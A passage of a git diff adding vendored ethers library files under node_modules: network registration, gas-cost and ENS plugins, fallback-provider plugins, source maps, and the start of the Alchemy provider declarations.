chainId", "network", network); + const custom = new Network((network.name), (network.chainId)); + if (network.ensAddress || network.ensNetwork != null) { + custom.attachPlugin(new EnsPlugin(network.ensAddress, network.ensNetwork)); + } + //if ((network).layerOneConnection) { + // custom.attachPlugin(new LayerOneConnectionPlugin((network).layerOneConnection)); + //} + return custom; + } + assertArgument(false, "invalid network", "network", network); + } + /** + * Register %%nameOrChainId%% with a function which returns + * an instance of a Network representing that chain. + */ + static register(nameOrChainId, networkFunc) { + if (typeof (nameOrChainId) === "number") { + nameOrChainId = BigInt(nameOrChainId); + } + const existing = Networks.get(nameOrChainId); + if (existing) { + assertArgument(false, `conflicting network for ${JSON.stringify(existing.name)}`, "nameOrChainId", nameOrChainId); + } + Networks.set(nameOrChainId, networkFunc); + } +} +// We don't want to bring in formatUnits because it is backed by +// FixedNumber and we want to keep Networks tiny. The values +// included by the Gas Stations are also IEEE 754 with lots of +// rounding issues and exceed the strict checks formatUnits has. +function parseUnits(_value, decimals) { + const value = String(_value); + if (!value.match(/^[0-9.]+$/)) { + throw new Error(`invalid gwei value: ${_value}`); + } + // Break into [ whole, fraction ] + const comps = value.split("."); + if (comps.length === 1) { + comps.push(""); + } + // More than 1 decimal point or too many fractional positions + if (comps.length !== 2) { + throw new Error(`invalid gwei value: ${_value}`); + } + // Pad the fraction to 9 decimalplaces + while (comps[1].length < decimals) { + comps[1] += "0"; + } + // Too many decimals and some non-zero ending, take the ceiling + if (comps[1].length > 9) { + let frac = BigInt(comps[1].substring(0, 9)); + if (!comps[1].substring(9).match(/^0+$/)) { + frac++; + } + comps[1] = frac.toString(); + } + return BigInt(comps[0] + comps[1]); +} +// Used by Polygon to use a gas station for fee data +function getGasStationPlugin(url) { + return new FetchUrlFeeDataNetworkPlugin(url, async (fetchFeeData, provider, request) => { + // Prevent Cloudflare from blocking our request in node.js + request.setHeader("User-Agent", "ethers"); + let response; + try { + const [_response, _feeData] = await Promise.all([ + request.send(), fetchFeeData() + ]); + response = _response; + const payload = response.bodyJson.standard; + const feeData = { + gasPrice: _feeData.gasPrice, + maxFeePerGas: parseUnits(payload.maxFee, 9), + maxPriorityFeePerGas: parseUnits(payload.maxPriorityFee, 9), + }; + return feeData; + } + catch (error) { + assert(false, `error encountered with polygon gas station (${JSON.stringify(request.url)})`, "SERVER_ERROR", { request, response, error }); + } + }); +} +// See: https://chainlist.org +let injected = false; +function injectCommonNetworks() { + if (injected) { + return; + } + injected = true; + /// Register popular Ethereum networks + function registerEth(name, chainId, options) { + const func = function () { + const network = new Network(name, chainId); + // We use 0 to disable ENS + if (options.ensNetwork != null) { + network.attachPlugin(new EnsPlugin(null, options.ensNetwork)); + } + network.attachPlugin(new GasCostPlugin()); + (options.plugins || []).forEach((plugin) => { + network.attachPlugin(plugin); + }); + return network; + }; + // Register the network by name and chain ID + Network.register(name, func); + Network.register(chainId, func); + if (options.altNames) { + options.altNames.forEach((name) => { + Network.register(name, func); + }); + } + } + registerEth("mainnet", 1, { ensNetwork: 1, altNames: ["homestead"] }); + registerEth("ropsten", 3, { ensNetwork: 3 }); + registerEth("rinkeby", 4, { ensNetwork: 4 }); + registerEth("goerli", 5, { ensNetwork: 5 }); + registerEth("kovan", 42, { ensNetwork: 42 }); + registerEth("sepolia", 11155111, { ensNetwork: 11155111 }); + registerEth("holesky", 17000, { ensNetwork: 17000 }); + registerEth("classic", 61, {}); + registerEth("classicKotti", 6, {}); + registerEth("arbitrum", 42161, { + ensNetwork: 1, + }); + registerEth("arbitrum-goerli", 421613, {}); + registerEth("arbitrum-sepolia", 421614, {}); + registerEth("base", 8453, { ensNetwork: 1 }); + registerEth("base-goerli", 84531, {}); + registerEth("base-sepolia", 84532, {}); + registerEth("bnb", 56, { ensNetwork: 1 }); + registerEth("bnbt", 97, {}); + registerEth("linea", 59144, { ensNetwork: 1 }); + registerEth("linea-goerli", 59140, {}); + registerEth("linea-sepolia", 59141, {}); + registerEth("matic", 137, { + ensNetwork: 1, + plugins: [ + getGasStationPlugin("https:/\/gasstation.polygon.technology/v2") + ] + }); + registerEth("matic-amoy", 80002, {}); + registerEth("matic-mumbai", 80001, { + altNames: ["maticMumbai", "maticmum"], + plugins: [ + getGasStationPlugin("https:/\/gasstation-testnet.polygon.technology/v2") + ] + }); + registerEth("optimism", 10, { + ensNetwork: 1, + plugins: [] + }); + registerEth("optimism-goerli", 420, {}); + registerEth("optimism-sepolia", 11155420, {}); + registerEth("xdai", 100, { ensNetwork: 1 }); +} +//# sourceMappingURL=network.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/network.js.map b/node_modules/ethers/lib.esm/providers/network.js.map new file mode 100644 index 000000000000..c016c65150d1 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/network.js.map @@ -0,0 +1 @@ +{"version":3,"file":"network.js","sourceRoot":"","sources":["../../src.ts/providers/network.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH,OAAO,EAAE,aAAa,EAAE,MAAM,yBAAyB,CAAC;AACxD,OAAO,EAAE,SAAS,EAAE,MAAM,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAEtE,OAAO,EACH,SAAS,EAAE,4BAA4B,EAAE,aAAa,EACzD,MAAM,sBAAsB,CAAC;AA0B9B;;;;;;;;;;;;;;;;EAgBE;AAGF,MAAM,QAAQ,GAAwC,IAAI,GAAG,EAAE,CAAC;AAGhE;;;GAGG;AACH,MAAM,OAAO,OAAO;IAChB,KAAK,CAAS;IACd,QAAQ,CAAS;IAEjB,QAAQ,CAA6B;IAErC;;OAEG;IACH,YAAY,IAAY,E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,EAAE,KAAK,EAAE,EAAG,CAAC,CAAC;IACtC,WAAW,CAAC,cAAc,EAAE,KAAK,EAAE;QAC/B,QAAQ,EAAE,CAAE,aAAa,EAAE,UAAU,CAAE;QACvC,OAAO,EAAE;YACL,mBAAmB,CAAC,mDAAmD,CAAC;SAC3E;KACJ,CAAC,CAAC;IAEH,WAAW,CAAC,UAAU,EAAE,EAAE,EAAE;QACxB,UAAU,EAAE,CAAC;QACb,OAAO,EAAE,EAAG;KACf,CAAC,CAAC;IACH,WAAW,CAAC,iBAAiB,EAAE,GAAG,EAAE,EAAG,CAAC,CAAC;IACzC,WAAW,CAAC,kBAAkB,EAAE,QAAQ,EAAE,EAAG,CAAC,CAAC;IAE/C,WAAW,CAAC,MAAM,EAAE,GAAG,EAAE,EAAE,UAAU,EAAE,CAAC,EAAE,CAAC,CAAC;AAChD,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/pagination.d.ts b/node_modules/ethers/lib.esm/providers/pagination.d.ts new file mode 100644 index 000000000000..a772a85c2502 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/pagination.d.ts @@ -0,0 +1,6 @@ +export interface PaginationResult extends Array { + next(): Promise>; + totalResults: null | number; + done: boolean; +} +//# sourceMappingURL=pagination.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/pagination.d.ts.map b/node_modules/ethers/lib.esm/providers/pagination.d.ts.map new file mode 100644 index 000000000000..083dedb30a30 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/pagination.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"pagination.d.ts","sourceRoot":"","sources":["../../src.ts/providers/pagination.ts"],"names":[],"mappings":"AAAA,MAAM,WAAW,gBAAgB,CAAC,CAAC,CAAE,SAAQ,KAAK,CAAC,CAAC,CAAC;IACjD,IAAI,IAAI,OAAO,CAAC,gBAAgB,CAAC,CAAC,CAAC,CAAC,CAAC;IAGrC,YAAY,EAAE,IAAI,GAAG,MAAM,CAAC;IAE5B,IAAI,EAAE,OAAO,CAAC;CACjB"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/pagination.js b/node_modules/ethers/lib.esm/providers/pagination.js new file mode 100644 index 000000000000..dad94f2fa907 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/pagination.js @@ -0,0 +1,2 @@ +export {}; +//# sourceMappingURL=pagination.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/pagination.js.map b/node_modules/ethers/lib.esm/providers/pagination.js.map new file mode 100644 index 000000000000..d08e925cb6cb --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/pagination.js.map @@ -0,0 +1 @@ +{"version":3,"file":"pagination.js","sourceRoot":"","sources":["../../src.ts/providers/pagination.ts"],"names":[],"mappings":""} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/plugin-fallback.d.ts b/node_modules/ethers/lib.esm/providers/plugin-fallback.d.ts new file mode 100644 index 000000000000..6c525ec2a0ca --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/plugin-fallback.d.ts @@ -0,0 +1,13 @@ +import { AbstractProviderPlugin } from "./abstract-provider.js"; +import type { AbstractProvider, PerformActionRequest } from "./abstract-provider.js"; +export declare const PluginIdFallbackProvider = "org.ethers.plugins.provider.QualifiedPlugin"; +export declare class CheckQualifiedPlugin implements AbstractProviderPlugin { + name: string; + constructor(); + connect(provider: AbstractProvider): CheckQualifiedPlugin; + isQualified(action: PerformActionRequest, result: any): boolean; +} +export declare class PossiblyPrunedTransactionPlugin extends CheckQualifiedPlugin { + isQualified(action: PerformActionRequest, result: any): boolean; +} +//# sourceMappingURL=plugin-fallback.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/plugin-fallback.d.ts.map b/node_modules/ethers/lib.esm/providers/plugin-fallback.d.ts.map new file mode 100644 index 000000000000..9586751271d0 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/plugin-fallback.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"plugin-fallback.d.ts","sourceRoot":"","sources":["../../src.ts/providers/plugin-fallback.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,sBAAsB,EAAE,MAAM,wBAAwB,CAAC;AAGhE,OAAO,KAAK,EAAE,gBAAgB,EAAE,oBAAoB,EAAE,MAAM,wBAAwB,CAAC;AAGrF,eAAO,MAAM,wBAAwB,gDAAgD,CAAC;AAEtF,qBAAa,oBAAqB,YAAW,sBAAsB;IACvD,IAAI,EAAE,MAAM,CAAC;;IAMrB,OAAO,CAAC,QAAQ,EAAE,gBAAgB,GAAG,oBAAoB;IAMzD,WAAW,CAAC,MAAM,EAAE,oBAAoB,EAAE,MAAM,EAAE,GAAG,GAAG,OAAO;CAGlE;AAED,qBAAa,+BAAgC,SAAQ,oBAAoB;IACrE,WAAW,CAAC,MAAM,EAAE,oBAAoB,EAAE,MAAM,EAAE,GAAG,GAAG,OAAO;CAMlE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/plugin-fallback.js b/node_modules/ethers/lib.esm/providers/plugin-fallback.js new file mode 100644 index 000000000000..00f986282322 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/plugin-fallback.js @@ -0,0 +1,26 @@ +import { defineProperties } from "../utils/index.js"; +export const PluginIdFallbackProvider = "org.ethers.plugins.provider.QualifiedPlugin"; +export class CheckQualifiedPlugin { + constructor() { + defineProperties(this, { name: PluginIdFallbackProvider }); + } + connect(provider) { + return this; + } + // Retruns true if this value should be considered qualified for + // inclusion in the quorum. + isQualified(action, result) { + return true; + } +} +export class PossiblyPrunedTransactionPlugin extends CheckQualifiedPlugin { + isQualified(action, result) { + if (action.method === "getTransaction" || action.method === "getTransactionReceipt") { + if (result == null) { + return false; + } + } + return super.isQualified(action, result); + } +} +//# sourceMappingURL=plugin-fallback.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/plugin-fallback.js.map b/node_modules/ethers/lib.esm/providers/plugin-fallback.js.map new file mode 100644 index 000000000000..c3d606f6e813 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/plugin-fallback.js.map @@ -0,0 +1 @@ +{"version":3,"file":"plugin-fallback.js","sourceRoot":"","sources":["../../src.ts/providers/plugin-fallback.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,gBAAgB,EAAE,MAAM,mBAAmB,CAAC;AAKrD,MAAM,CAAC,MAAM,wBAAwB,GAAG,6CAA6C,CAAC;AAEtF,MAAM,OAAO,oBAAoB;IAG7B;QACI,gBAAgB,CAAuB,IAAI,EAAE,EAAE,IAAI,EAAE,wBAAwB,EAAE,CAAC,CAAC;IACrF,CAAC;IAED,OAAO,CAAC,QAA0B;QAC9B,OAAO,IAAI,CAAC;IAChB,CAAC;IAED,gEAAgE;IAChE,2BAA2B;IAC3B,WAAW,CAAC,MAA4B,EAAE,MAAW;QACjD,OAAO,IAAI,CAAC;IAChB,CAAC;CACJ;AAED,MAAM,OAAO,+BAAgC,SAAQ,oBAAoB;IACrE,WAAW,CAAC,MAA4B,EAAE,MAAW;QACjD,IAAI,MAAM,CAAC,MAAM,KAAK,gBAAgB,IAAI,MAAM,CAAC,MAAM,KAAK,uBAAuB,EAAE;YACjF,IAAI,MAAM,IAAI,IAAI,EAAE;gBAAE,OAAO,KAAK,CAAC;aAAE;SACxC;QACD,OAAO,KAAK,CAAC,WAAW,CAAC,MAAM,EAAE,MAAM,CAAC,CAAC;IAC7C,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/plugins-network.d.ts b/node_modules/ethers/lib.esm/providers/plugins-network.d.ts new file mode 100644 index 000000000000..7385782040ed --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/plugins-network.d.ts @@ -0,0 +1,170 @@ +import type { FeeData, Provider } from "./provider.js"; +import type { FetchRequest } from "../utils/fetch.js"; +/** + * A **NetworkPlugin** provides additional functionality on a [[Network]]. + */ +export declare class NetworkPlugin { + /** + * The name of the plugin. + * + * It is recommended to use reverse-domain-notation, which permits + * unique names with a known authority as well as hierarchal entries. + */ + readonly name: string; + /** + * Creates a new **NetworkPlugin**. + */ + constructor(name: string); + /** + * Creates a copy of this plugin. + */ + clone(): NetworkPlugin; +} +/** + * The gas cost parameters for a [[GasCostPlugin]]. + */ +export type GasCostParameters = { + /** + * The transactions base fee. + */ + txBase?: number; + /** + * The fee for creating a new account. + */ + txCreate?: number; + /** + * The fee per zero-byte in the data. + */ + txDataZero?: number; + /** + * The fee per non-zero-byte in the data. + */ + txDataNonzero?: number; + /** + * The fee per storage key in the [[link-eip-2930]] access list. + */ + txAccessListStorageKey?: number; + /** + * The fee per address in the [[link-eip-2930]] access list. + */ + txAccessListAddress?: number; +}; +/** + * A **GasCostPlugin** allows a network to provide alternative values when + * computing the intrinsic gas required for a transaction. + */ +export declare class GasCostPlugin extends NetworkPlugin implements GasCostParameters { + /** + * The block number to treat these values as valid from. + * + * This allows a hardfork to have updated values included as well as + * mulutiple hardforks to be supported. + */ + readonly effectiveBlock: number; + /** + * The transactions base fee. + */ + readonly txBase: number; + /** + * The fee for creating a new account. + */ + readonly txCreate: number; + /** + * The fee per zero-byte in the data. + */ + readonly txDataZero: number; + /** + * The fee per non-zero-byte in the data. + */ + readonly txDataNonzero: number; + /** + * The fee per storage key in the [[link-eip-2930]] access list. + */ + readonly txAccessListStorageKey: number; + /** + * The fee per address in the [[link-eip-2930]] access list. + */ + readonly txAccessListAddress: number; + /** + * Creates a new GasCostPlugin from %%effectiveBlock%% until the + * latest block or another GasCostPlugin supercedes that block number, + * with the associated %%costs%%. + */ + constructor(effectiveBlock?: number, costs?: GasCostParameters); + clone(): GasCostPlugin; +} +/** + * An **EnsPlugin** allows a [[Network]] to specify the ENS Registry + * Contract address and the target network to use when using that + * contract. + * + * Various testnets have their own instance of the contract to use, but + * in general, the mainnet instance supports multi-chain addresses and + * should be used. + */ +export declare class EnsPlugin extends NetworkPlugin { + /** + * The ENS Registrty Contract address. + */ + readonly address: string; + /** + * The chain ID that the ENS contract lives on. + */ + readonly targetNetwork: number; + /** + * Creates a new **EnsPlugin** connected to %%address%% on the + * %%targetNetwork%%. The default ENS address and mainnet is used + * if unspecified. + */ + constructor(address?: null | string, targetNetwork?: null | number); + clone(): EnsPlugin; +} +/** + * A **FeeDataNetworkPlugin** allows a network to provide and alternate + * means to specify its fee data. + * + * For example, a network which does not support [[link-eip-1559]] may + * choose to use a Gas Station site to approximate the gas price. + */ +export declare class FeeDataNetworkPlugin extends NetworkPlugin { + #private; + /** + * The fee data function provided to the constructor. + */ + get feeDataFunc(): (provider: Provider) => Promise; + /** + * Creates a new **FeeDataNetworkPlugin**. + */ + constructor(feeDataFunc: (provider: Provider) => Promise); + /** + * Resolves to the fee data. + */ + getFeeData(provider: Provider): Promise; + clone(): FeeDataNetworkPlugin; +} +export declare class FetchUrlFeeDataNetworkPlugin extends NetworkPlugin { + #private; + /** + * The URL to initialize the FetchRequest with in %%processFunc%%. + */ + get url(): string; + /** + * The callback to use when computing the FeeData. + */ + get processFunc(): (f: () => Promise, p: Provider, r: FetchRequest) => Promise<{ + gasPrice?: null | bigint; + maxFeePerGas?: null | bigint; + maxPriorityFeePerGas?: null | bigint; + }>; + /** + * Creates a new **FetchUrlFeeDataNetworkPlugin** which will + * be used when computing the fee data for the network. + */ + constructor(url: string, processFunc: (f: () => Promise, p: Provider, r: FetchRequest) => Promise<{ + gasPrice?: null | bigint; + maxFeePerGas?: null | bigint; + maxPriorityFeePerGas?: null | bigint; + }>); + clone(): FetchUrlFeeDataNetworkPlugin; +} +//# sourceMappingURL=plugins-network.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/plugins-network.d.ts.map b/node_modules/ethers/lib.esm/providers/plugins-network.d.ts.map new file mode 100644 index 000000000000..77938545ac76 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/plugins-network.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"plugins-network.d.ts","sourceRoot":"","sources":["../../src.ts/providers/plugins-network.ts"],"names":[],"mappings":"AAIA,OAAO,KAAK,EAAE,OAAO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,GAAG,MAAM,CAAC;QAAC,YAAY,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;QAAC,oBAAoB,CAAC,EAAE,IAAI,GAAG,MAAM,CAAA;KAAE,CAAC;IAO5M,KAAK,IAAI,4BAA4B;CACxC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/plugins-network.js b/node_modules/ethers/lib.esm/providers/plugins-network.js new file mode 100644 index 000000000000..d3b04072e5a9 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/plugins-network.js @@ -0,0 +1,208 @@ +import { defineProperties } from "../utils/properties.js"; +import { assertArgument } from "../utils/index.js"; +const EnsAddress = "0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e"; +/** + * A **NetworkPlugin** provides additional functionality on a [[Network]]. + */ +export class NetworkPlugin { + /** + * The name of the plugin. + * + * It is recommended to use reverse-domain-notation, which permits + * unique names with a known authority as well as hierarchal entries. + */ + name; + /** + * Creates a new **NetworkPlugin**. + */ + constructor(name) { + defineProperties(this, { name }); + } + /** + * Creates a copy of this plugin. + */ + clone() { + return new NetworkPlugin(this.name); + } +} +/** + * A **GasCostPlugin** allows a network to provide alternative values when + * computing the intrinsic gas required for a transaction. + */ +export class GasCostPlugin extends NetworkPlugin { + /** + * The block number to treat these values as valid from. + * + * This allows a hardfork to have updated values included as well as + * mulutiple hardforks to be supported. + */ + effectiveBlock; + /** + * The transactions base fee. + */ + txBase; + /** + * The fee for creating a new account. + */ + txCreate; + /** + * The fee per zero-byte in the data. + */ + txDataZero; + /** + * The fee per non-zero-byte in the data. + */ + txDataNonzero; + /** + * The fee per storage key in the [[link-eip-2930]] access list. + */ + txAccessListStorageKey; + /** + * The fee per address in the [[link-eip-2930]] access list. + */ + txAccessListAddress; + /** + * Creates a new GasCostPlugin from %%effectiveBlock%% until the + * latest block or another GasCostPlugin supercedes that block number, + * with the associated %%costs%%. + */ + constructor(effectiveBlock, costs) { + if (effectiveBlock == null) { + effectiveBlock = 0; + } + super(`org.ethers.network.plugins.GasCost#${(effectiveBlock || 0)}`); + const props = { effectiveBlock }; + function set(name, nullish) { + let value = (costs || {})[name]; + if (value == null) { + value = nullish; + } + assertArgument(typeof (value) === "number", `invalud value for ${name}`, "costs", costs); + props[name] = value; + } + set("txBase", 21000); + set("txCreate", 32000); + set("txDataZero", 4); + set("txDataNonzero", 16); + set("txAccessListStorageKey", 1900); + set("txAccessListAddress", 2400); + defineProperties(this, props); + } + clone() { + return new GasCostPlugin(this.effectiveBlock, this); + } +} +/** + * An **EnsPlugin** allows a [[Network]] to specify the ENS Registry + * Contract address and the target network to use when using that + * contract. + * + * Various testnets have their own instance of the contract to use, but + * in general, the mainnet instance supports multi-chain addresses and + * should be used. + */ +export class EnsPlugin extends NetworkPlugin { + /** + * The ENS Registrty Contract address. + */ + address; + /** + * The chain ID that the ENS contract lives on. + */ + targetNetwork; + /** + * Creates a new **EnsPlugin** connected to %%address%% on the + * %%targetNetwork%%. The default ENS address and mainnet is used + * if unspecified. + */ + constructor(address, targetNetwork) { + super("org.ethers.plugins.network.Ens"); + defineProperties(this, { + address: (address || EnsAddress), + targetNetwork: ((targetNetwork == null) ? 1 : targetNetwork) + }); + } + clone() { + return new EnsPlugin(this.address, this.targetNetwork); + } +} +/** + * A **FeeDataNetworkPlugin** allows a network to provide and alternate + * means to specify its fee data. + * + * For example, a network which does not support [[link-eip-1559]] may + * choose to use a Gas Station site to approximate the gas price. + */ +export class FeeDataNetworkPlugin extends NetworkPlugin { + #feeDataFunc; + /** + * The fee data function provided to the constructor. + */ + get feeDataFunc() { + return this.#feeDataFunc; + } + /** + * Creates a new **FeeDataNetworkPlugin**. + */ + constructor(feeDataFunc) { + super("org.ethers.plugins.network.FeeData"); + this.#feeDataFunc = feeDataFunc; + } + /** + * Resolves to the fee data. + */ + async getFeeData(provider) { + return await this.#feeDataFunc(provider); + } + clone() { + return new FeeDataNetworkPlugin(this.#feeDataFunc); + } +} +export class FetchUrlFeeDataNetworkPlugin extends NetworkPlugin { + #url; + #processFunc; + /** + * The URL to initialize the FetchRequest with in %%processFunc%%. + */ + get url() { return this.#url; } + /** + * The callback to use when computing the FeeData. + */ + get processFunc() { return this.#processFunc; } + /** + * Creates a new **FetchUrlFeeDataNetworkPlugin** which will + * be used when computing the fee data for the network. + */ + constructor(url, processFunc) { + super("org.ethers.plugins.network.FetchUrlFeeDataPlugin"); + this.#url = url; + this.#processFunc = processFunc; + } + // We are immutable, so we can serve as our own clone + clone() { return this; } +} +/* +export class CustomBlockNetworkPlugin extends NetworkPlugin { + readonly #blockFunc: (provider: Provider, block: BlockParams) => Block; + readonly #blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block; + + constructor(blockFunc: (provider: Provider, block: BlockParams) => Block, blockWithTxsFunc: (provider: Provider, block: BlockParams) => Block) { + super("org.ethers.network-plugins.custom-block"); + this.#blockFunc = blockFunc; + this.#blockWithTxsFunc = blockWithTxsFunc; + } + + async getBlock(provider: Provider, block: BlockParams): Promise> { + return await this.#blockFunc(provider, block); + } + + async getBlockions(provider: Provider, block: BlockParams): Promise> { + return await this.#blockWithTxsFunc(provider, block); + } + + clone(): CustomBlockNetworkPlugin { + return new CustomBlockNetworkPlugin(this.#blockFunc, this.#blockWithTxsFunc); + } +} +*/ +//# sourceMappingURL=plugins-network.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/plugins-network.js.map b/node_modules/ethers/lib.esm/providers/plugins-network.js.map new file mode 100644 index 000000000000..c5468491d77a --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/plugins-network.js.map @@ -0,0 +1 @@ +{"version":3,"file":"plugins-network.js","sourceRoot":"","sources":["../../src.ts/providers/plugins-network.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAE1D,OAAO,EAAE,cAAc,EAAE,MAAM,mBAAmB,CAAC;AAMnD,MAAM,UAAU,GAAG,4CAA4C,CAAC;AAEhE;;GAEG;AACH,MAAM,OAAO,aAAa;IACtB;;;;;O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AAO,MAAM,IAAI,CAAC,YAAY,CAAC,QAAQ,CAAC,CAAC;IAC7C,CAAC;IAED,KAAK;QACD,OAAO,IAAI,oBAAoB,CAAC,IAAI,CAAC,YAAY,CAAC,CAAC;IACvD,CAAC;CACJ;AAED,MAAM,OAAO,4BAA6B,SAAQ,aAAa;IAClD,IAAI,CAAS;IACb,YAAY,CAAyK;IAE9L;;OAEG;IACH,IAAI,GAAG,KAAa,OAAO,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC;IAEvC;;OAEG;IACH,IAAI,WAAW,KAA6K,OAAO,IAAI,CAAC,YAAY,CAAC,CAAC,CAAC;IAEvN;;;OAGG;IACH,YAAY,GAAW,EAAE,WAAmL;QACxM,KAAK,CAAC,kDAAkD,CAAC,CAAC;QAC1D,IAAI,CAAC,IAAI,GAAG,GAAG,CAAC;QAChB,IAAI,CAAC,YAAY,GAAG,WAAW,CAAC;IACpC,CAAC;IAED,qDAAqD;IACrD,KAAK,KAAmC,OAAO,IAAI,CAAC,CAAC,CAAC;CACzD;AAED;;;;;;;;;;;;;;;;;;;;;;;EAuBE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-alchemy.d.ts b/node_modules/ethers/lib.esm/providers/provider-alchemy.d.ts new file mode 100644 index 000000000000..0fe1a7d18139 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-alchemy.d.ts @@ -0,0 +1,50 @@ +/** + * [[link-alchemy]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Alchemy [providers-alchemy] + */ +import { FetchRequest } from "../utils/index.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { AbstractProvider, PerformActionRequest } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +/** + * The **AlchemyProvider** connects to the [[link-alchemy]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-alchemy-signup). + * + * @_docloc: api/providers/thirdparty + */ +export declare class AlchemyProvider extends JsonRpcProvider implements CommunityResourcable { + readonly apiKey: string; + constructor(_network?: Networkish, apiKey?: null | string); + _getProvider(chainId: number): AbstractProvider; + _perform(req: PerformActionRequest): Promise; + isCommunityResource(): boolean; + static getRequest(network: Network, apiKey?: string): FetchRequest; +} +//# sourceMappingURL=provider-alchemy.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-alchemy.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-alchemy.d.ts.map new file mode 100644 index 000000000000..9cbe30b80d00 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-alchemy.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-alchemy.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-alchemy.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AAEH,OAAO,EAEH,YAAY,EACf,MAAM,mBAAmB,CAAC;AAG3B,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,gBAAgB,EAAE,oBAAoB,EAAE,MAAM,wBAAwB,CAAC;AACrF,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AA2C/C;;;;;;;;;;GAUG;AACH,qBAAa,eAAgB,SAAQ,eAAgB,YAAW,oBAAoB;IAChF,QAAQ,CAAC,MAAM,EAAG,MAAM,CAAC;gBAEb,QAAQ,CAAC,EAAE,UAAU,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,MAAM;IAWzD,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAOzC,QAAQ,CAAC,GAAG,EAAE,oBAAoB,GAAG,OAAO,CAAC,GAAG,CAAC;IAmCvD,mBAAmB,IAAI,OAAO;IAI9B,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,EAAE,MAAM,CAAC,EAAE,MAAM,GAAG,YAAY;CAerE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-alchemy.js b/node_modules/ethers/lib.esm/providers/provider-alchemy.js new file mode 100644 index 000000000000..3e28f27049a8 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-alchemy.js @@ -0,0 +1,147 @@ +/** + * [[link-alchemy]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Optimism (``optimism``) + * - Optimism 